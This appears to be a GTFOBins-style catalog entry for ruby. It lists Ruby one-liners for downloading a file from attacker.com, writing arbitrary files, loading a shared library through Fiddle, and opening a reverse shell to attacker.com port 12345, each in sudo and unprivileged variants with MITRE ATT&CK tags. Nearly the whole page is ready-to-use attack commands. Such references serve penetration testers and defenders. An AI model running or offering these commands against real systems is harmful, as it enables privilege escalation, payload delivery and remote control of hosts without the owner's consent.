Catalog GTFOBins

GTFO · Tool

ruby

15 techniques Linux · macOSGTFOBins GPL-3.0

download

File DownloadPrivilege Escalation LinuxmacOS
ruby -e 'require "open-uri"; download = URI.open("http://attacker.com/path/to/input-file"); IO.copy_stream(download, "/path/to/output-file")'
Context
sudo
Native
download
MITRE
T1105

download

File Download LinuxmacOS
ruby -e 'require "open-uri"; download = URI.open("http://attacker.com/path/to/input-file"); IO.copy_stream(download, "/path/to/output-file")'
Context
unprivileged
Native
download
MITRE
T1105

file-write

File WritePrivilege Escalation LinuxmacOS
ruby -e 'File.open("/path/to/output-file", "w+") { |f| f.write("DATA") }'
Context
sudo
Native
file-write
MITRE
T1565

file-write

File Write LinuxmacOS
ruby -e 'File.open("/path/to/output-file", "w+") { |f| f.write("DATA") }'
Context
unprivileged
Native
file-write
MITRE
T1565

library-load

Library LoadPrivilege Escalation LinuxmacOS
ruby -e 'require "fiddle"; Fiddle.dlopen("/path/to/lib.so")'
Context
sudo
Native
library-load
MITRE
T1574

library-load

Library Load LinuxmacOS
ruby -e 'require "fiddle"; Fiddle.dlopen("/path/to/lib.so")'
Context
unprivileged
Native
library-load
MITRE
T1574

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com",12345);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind Shell LinuxmacOS
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com",12345);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Context
unprivileged
Native
reverse-shell